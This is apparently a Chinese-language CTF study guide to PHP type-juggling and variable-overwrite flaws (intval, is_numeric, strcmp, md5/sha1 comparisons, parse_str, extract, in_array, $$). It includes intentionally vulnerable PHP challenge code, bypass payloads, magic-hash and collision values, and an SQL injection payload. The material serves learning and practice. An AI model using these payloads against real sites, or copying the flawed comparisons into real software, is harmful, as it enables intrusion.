ctf中常见php漏洞
PHP特性漏洞
一.intval()函数---获取变量的整数值
函数说明
int intval (mixed $var
[, int $base
= 10 ] ) :通过使用指定的进制 base
转换(默认是十进制),返回变量 var
的 integer 数值。intval() 不能用于 object,否则会产生 E_NOTICE
错误并返回 1。
如果base是0,则通过检测var的格式来决定使用的进制:
- 如果字符串包括'0x'或者('0X')的前缀,使用16进制(hex);
- 如果字符串以 "0" 开始,使用 8 进制(octal);
- 否则,使用10进制(decimal).
返回值 : 成功时返回var的integer值,失败时返回0。空的array返回0,非空的array返回1。
最大的值取决于操作系统。 32 位系统最大带符号的 integer 范围是 -2147483648 到 2147483647。举例,在这样的系统上, intval('1000000000000') 会返回2147483647。64 位系统上,最大带符号的 integer 值是9223372036854775807
绕过思路总结
-
当某个数字被过滤时,可以使用它的 8进制/16进制来绕过;比如过滤10,就用012(八进制)或0xA(十六进制)。
-
对于弱比较(a==b),可以给a、b两个参数传入空数组,使弱比较为true。
-
当某个数字被过滤时,可以给它增加小数位来绕过;比如过滤3,就用3.1(转换小数类型时,只返回个位数,不遵循四舍五入的原则)
-
当某个数字被过滤时,可以给它拼接字符串来绕过;比如过滤3,就用3ab。(GET请求的参数会自动拼接单引号)
-
当某个数字被过滤时,可以两次取反来绕过;比如过滤10,就用~~10。
-
当某个数字被过滤时,可以使用算数运算符绕过;比如过滤10,就用 5+5 或 2*5。
7.科学计数法:经过本地测试,在php版本小于等于7.0.9时,intval("1e2")的结果是1,即转换字符串时,遇到字母停止,但是intval("1e2"+1)的结果却是101,这种特性可以绕过诸如intval($num)>2020&&intval($num)>2021。但是当php版本>7.0.9时,这种方法就失效了,因为intval("1e2")和intval(1e2)的值均为100。
8.intval()函数允许正数前面加空格和+,比如intval("+244")和intval(" 244"),其值均为244。(此方法可用于绕过stripos函数对传入参数某个位置的过滤)
根据这个特性,还可以延伸到类似intval($num,0)===4476(适用于任何php版本)和intval($num)===4476(php -v<=7.0.9)的区别:
二.is_numeric()函数---获取变检测变量是否为数字或数字字符串
函数说明
如果var是数字或数字字符串则返回 TRUE
,否则返回 FALSE
。
绕过思路总结
1.加字母绕过
if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){
$flag4 = True;
}else{
die("nope,this is level 4");
}
这时,就可以通过传入key5=2024a(不是纯数字字符串)绕过(一个大于2023的数字加上任意字母)
2.16进制绕过
php版本大于等于7.0.9时:当我们传入0x2时,var_dump(is_numeric('0x2'));会返回bool(false)
但是当php版本小于7时,则可以利用,例如:
<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(is_numeric($a)){
echo 'flag';
}
?>
传入a=0x1可以绕过,如图:
3.科学计数法(is_numeric()配合(int)强制类型转换绕过)(php -v<=7.0.9)
例如:
<?php
show_source(__FILE__);
$flag = "xxxx";
if(isset($_GET['time'])){
if(!is_numeric($_GET['time'])){
echo 'The time must be number.';
}else if($_GET['time'] < 60 * 60 * 24 * 30 * 2){
echo 'This time is too short.';
}else if($_GET['time'] > 60 * 60 * 24 * 30 * 3){
echo 'This time is too long.';
}else{
sleep((int)$_GET['time']);
echo $flag;
}
echo '<hr>';
}
?>
由题目可知:5184000<time<7776000,此时,可以利用:(int),不能正确转换的类型有十六进制型字符串、科学计数法型字符串;而
is_numeric()支持普通数字型字符串、科学记数法型字符串、部分支持十六进制0x型字符串。构造payload如下:
time=7e6
三.strcmp()函数---比较字符串大小(php -v<5.3)
函数说明
int strcmp ( string $str1
, string $str2
)
返回值:如果 str1
小于str2
返回 < 0; 如果 str1
大于 str2
返回 > 0;如果两者相等,返回 0。
绕过思路总结
1.弱类型比较
<?php
error_reporting(0);
//关闭错误提示
if (isset($_GET['a'])) {
//判断是否以get形式为a赋值
if (strcmp($_GET['a'], $flag) == 0)
//比较a变量和flag的字符,再将结果与0【false】比较
echo 'flag{strcmp_pass}';
else
print 'you are failure';
}
?>
由于strcmp只会处理字符串,如果给个数组的话呢,就会返回NULL。而NULL==0,则可以成功得到flag。
四.hash比较缺陷---md5,sha1
一.md5弱类型比较(md5($a)==md5($b))
1.数组绕过:由于md5不能加密数组,在加密数组的时候会返回NULL,所以我们可以传入两个数组。数组绕过适用于源码中没有判断类型和内容,如果题目中加入了过滤函数,便不能使用了。
2.科学计数法绕过:可以传入两个md5加密后是0e开头的字符串,需要注意的地方是,这个以0e开头的字符串只能是纯数字,这样php在进行科学计算法的时候才会将它转化为0。可以自己写脚本:
import hashlib
for i in range(1,10**9):
i=str(i)
md=hashlib.md5(i.encode()).hexdigest()
if(md[:2]=="0e" and md[2:].isdigit()):
print("num={},md5={}".format(i,md))
要注意的是,int型没有encode属性,所以务必加上i=str(i)。其次,该脚本只能跑出数字型的答案,字符串的暂时无法跑出。
常见字符串如下:
纯数字类:
240610708 0e462097431906509019562988736854
314282422 0e990995504821699494520356953734
571579406 0e972379832854295224118025748221
903251147 0e174510503823932942361353209384
1110242161 0e435874558488625891324861198103
1320830526 0e912095958985483346995414060832
1586264293 0e622743671155995737639662718498
2302756269 0e250566888497473798724426794462
2427435592 0e067696952328669732475498472343
2653531602 0e877487522341544758028810610885
3293867441 0e471001201303602543921144570260
3295421201 0e703870333002232681239618856220
3465814713 0e258631645650999664521705537122
3524854780 0e507419062489887827087815735195
3908336290 0e807624498959190415881248245271
4011627063 0e485805687034439905938362701775
4775635065 0e998212089946640967599450361168
4790555361 0e643442214660994430134492464512
5432453531 0e512318699085881630861890526097
5579679820 0e877622011730221803461740184915
5585393579 0e664357355382305805992765337023
6376552501 0e165886706997482187870215578015
7124129977 0e500007361044747804682122060876
7197546197 0e915188576072469101457315675502
7656486157 0e451569119711843337267091732412
大写字母类:
QLTHNDT 0e405967825401955372549139051580
QNKCDZO 0e830400451993494058024219903391
EEIZDOI 0e782601363539291779881938479162
TUFEPMC 0e839407194569345277863905212547
UTIPEZQ 0e382098788231234954670291303879
UYXFLOI 0e552539585246568817348686838809
IHKFRNS 0e256160682445802696926137988570
PJNPDWY 0e291529052894702774557631701704
ABJIHVY 0e755264355178451322893275696586
DQWRASX 0e742373665639232907775599582643
DYAXWCA 0e424759758842488633464374063001
GEGHBXL 0e248776895502908863709684713578
GGHMVOE 0e362766013028313274586933780773
GZECLQZ 0e537612333747236407713628225676
NWWKITQ 0e763082070976038347657360817689
NOOPCJF 0e818888003657176127862245791911
MAUXXQC 0e478478466848439040434801845361
MMHUWUV 0e701732711630150438129209816536
byGcY
0e591948146966052067035298880982
QNKCDZO
0e830400451993494058024219903391
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904
s878926199a
0e545993274517709034328855841020
s1091221200a
0e940624217856561557816327384675
s1885207154a
0e509367213418206700842008763514
3.MD5和双MD5以后都是0e开头的:(但是后面不是$\color{#FF3030}{纯数字}$,不太好用)
CbDLytmyGm2xQyaLNhWn
770hQgrBOjrcqftrlaZk
7r4lGXCH2Ksu2JNT3BYM
4.一个数自己和MD5值均以0e开头:
num=0e215962017,md5=0e291242476940776845150308577824 脚本如下:
import hashlib
for i in range(1,10**40):
i='0e'+str(i)
md=hashlib.md5(i.encode()).hexdigest()
if md[:2]=="0e" and md[2:].isdigit():
print('num={},md5={}'.format(i,md))
break
其中,第5行还可以写成md=hashlib.new('md5',i.encode()).hexdigest();之所以要编码,是因为ython3默认编码是unicode,而不是字节码bytes。hash是要基于bytes的,因此需要encode()函数编码。因为需要进行下标访问,而刚才的返回值又是hash类型,所以应该使用函数将md变成一个字符串。一开始的时候,我还在想为什么只能用hexdigest()函数使其成为16进制字符串呢,后来再一看,哦,原来是需要出现"0e",那必然不能用digest()函数变成2进制了呀。当然了,又出现了一个小小的疑问,isdigit()和isnumeric(),isdecimal()的区别是什么呢?查资料发现:
isdecimal:是否为十进制数字符,包括Unicode数字、双字节全角数字,不包括罗马数字、汉字数字、小数;
isdigit:是否为数字字符,包括Unicode数字,单字节数字,双字节全角数字,不包括汉字数字,罗马数字、小数
isnumeric:是否所有字符均为数值字符,包括Unicode数字、双字节全角数字、罗马数字、汉字数字,不包括小数。
以下值在sha1加密后以0E开头:
- aaroZmOk
- aaK1STfY
- aaO8zKZF
- aa3OFF9m
- 0e1290633704
- 10932435112
二.md5强类型比较(md5($a)===md5($b))
方法一:数组绕过
因为是强类型比较,用0e开头的字符串是没办法绕过的了,但是PHP自身的特性使得可以提交一个数组而md5函数传入数组的返回值都是NULL,这样就可以绕过强类型比较了。
方法二:MD5强碰撞绕过
具体原理很复杂,但是实现方法不难,是通过fastcoll_v1.0.0.5.exe.zip这个工具,创造两个txt文件,然后进行二进制md5加密,可以获得两个数值和类型都相等的字符串。由于加密后存在不可见字符,因此需要进行URL编码,下面给出两组碰撞结果:
p1=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8EF%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28%FAU%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9b4%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%9DFH%F1%25%AC%DF%FA%C4G%27uW%CFNB%E7%EF%B0
p2=1%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%A3njn%FD%1A%CB%3A%29Wr%02En%CE%89%9A%E3%8E%C6%F1%BE%E9%EE3%0E%82%2A%95%23%0D%FA%CE%1C%F2%C4P%C2%B7s%0F%C8t%F28zV%AD%2C%EB%1D%D8%D2%00%8C%3B%FCN%C9%E24%DB%AC%17%A8%BF%3Fh%84i%F4%1E%B5Q%7B%FC%B9RuJ%60%B4%0D%B7%F9%F9%00%1E%C1%1B%16%C9M%2A%7D%B2%BBoW%02%7D%8F%7F%C0qT%D0%CF%3A%1DFH%F1%25%AC%DF%FA%C4G%27uW%CF%CEB%E7%EF%B0
p1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2
p2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
sha1碰撞绕过----两个SHA1值相同而不一样(SHA256的值不同)的pdf文件__
a=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1
b=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
五.json绕过
先了解一下什么是JSON:
JSON: JavaScript Object Notation(JavaScript 对象表示法)
JSON 是存储和交换文本信息的语法,类似 XML。
JSON 比 XML 更小、更快,更易解析。
JSON 易于人阅读和编写。
C、Python、C++、Java、PHP、Go等编程语言都支持 JSON。
JSON语法:JSON 语法是 JavaScript 对象表示语法的子集。
- 数据在名称/值对中
- 数据由逗号 , 分隔
- 使用斜杆 ** 来转义字符
- 大括号 {} 保存对象
- 中括号 [] 保存数组,数组可以包含多个对象
<?php
if (isset($_POST['message'])) {
$message = json_decode($_POST['message']);
$key ="*********";
if ($message->key == $key) {
echo "flag";
}
else {
echo "fail";
}
}
else{
echo "~~~~";
}
?>
输入一个json类型的字符串,json_decode函数解成一个数组,判断数组中key的值是否等于 $key的值,但是$key的值我们不知道,但是可以利用0==”admin”这种形式绕过.
payload:
message={"key":0}
六.parse_str()变量覆盖
函数说明
parse_str — 将字符串解析成多个变量:void parse_str ( string $encoded_string
[, array &$result
] )
如果设置了第二个变量 result,变量将会以数组元素的形式存入到这个数组,作为替代。
example:
<?php
parse_str($"My Value=Something");
echo $My_Value; // Something
parse_str($"My Value=Something", $output);
echo $output['My_Value']; // Something
?>
解析字符串并注册成变量,在注册变量之前不会验证当前变量是否存在,所以直接覆盖掉已有变量,当parse_str()函数的参数值可以被用户控制时,则存在变量覆盖漏洞。
<?php
error_reporting(0);
if(empty($_GET['id'])) {
show_source(__FILE__);
die();
} else {
$a = "www.xxx.com";
$id = $_GET['id'];
@parse_str($id);
if ($a[0] != 'QNKCDZO' && md5($a[0]) == md5('QNKCDZO')) {
echo 'flag';
} else {
exit('so easy!');
}
}
?>
由上述描述,易得payload:
?id=a[0]=s878926199a (s878926199a被md5加密后,以0e开头)
七.extract()函数
extract()函数从数组中将变量到导入到当前符号表
该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表创建对应的一个变量
<?php
error_reporting(0);
echo "同目录下有个test.txt,猜猜里面写了什么,猜对了奖励你flag哦~<br>";
$text='test.txt';
extract($_GET);
if(isset($a)){
$content=trim(file_get_contents($text));
if($a==$content){
echo "<br>骗你的,根本没有test.txt哈哈<br>flag{Y0u_G0t_1t!}";
}
else{
echo "Not like that, think again";
}
}
由于我们并不知道test.txt的内容,因此我们只需要利用extract函数将$text的值覆盖为空,再把$a赋值为空即可即可
八.in_array()函数
用途:用来判断一个值是否在某一个数组列表里面
缺陷:当第三个参数不设置为true时(即严格模式),存在自动类型转换(弱比较) ,当输入数字1后再紧跟其他字符串能够Bypass检测数组的功能
例题:
<?php
$id = $_GET['id'];
if (in_array($id, array(1,2,3,4,5,6,7,8,9,0))) {
$sql = "Select a From users Where Id='".$id."'";
echo $sql;
} else {
echo "No...";
}
?>
payload:1' union select * from users#
九.ereg()函数和eregi()函数(php4,php5)
用于正则匹配,两者的区别在于是否区分大小写 使用指定的模式搜索一个字符串中指定的字符串,如果匹配成功则返回true,否则返回false
该函数可被%00
截断来Bypass 传入数组之后,ereg是返回NULL
<?php
$passwd = $_GET['passwd'];
if (@ereg("^[a-zA-Z0-9_]+$", $passwd)) {
$sql = "Select username From users Where password='".$passwd."'";
echo $sql;
} else {
echo "No...";
}
?>
十.$$导致变量覆盖
$$导致变量覆盖的问题一般出现在foreach遍历数组当中,使用foreach来遍历数组中的值,然后再将获取到的数组键名作为变量名,数组中的键值作为变量的值。因此就产生了变量覆盖漏洞。
<?php
error_reporting(0);
$name='Testing';
foreach ($_GET as $key => $value)
$$key = $value;
var_dump($key);
var_dump($value);
var_dump($$key);
echo $name;
此时,当我们传入name=dtwin时,$name的值被覆盖为dtwin
总结
以上十个漏洞是php中较为常见的,另外的漏洞比如import_request_variables()
变量覆盖,register_globals
全局变量覆盖,这些都在php5以后就废除了,ctf和实战中都很难再遇到,故不在此列出。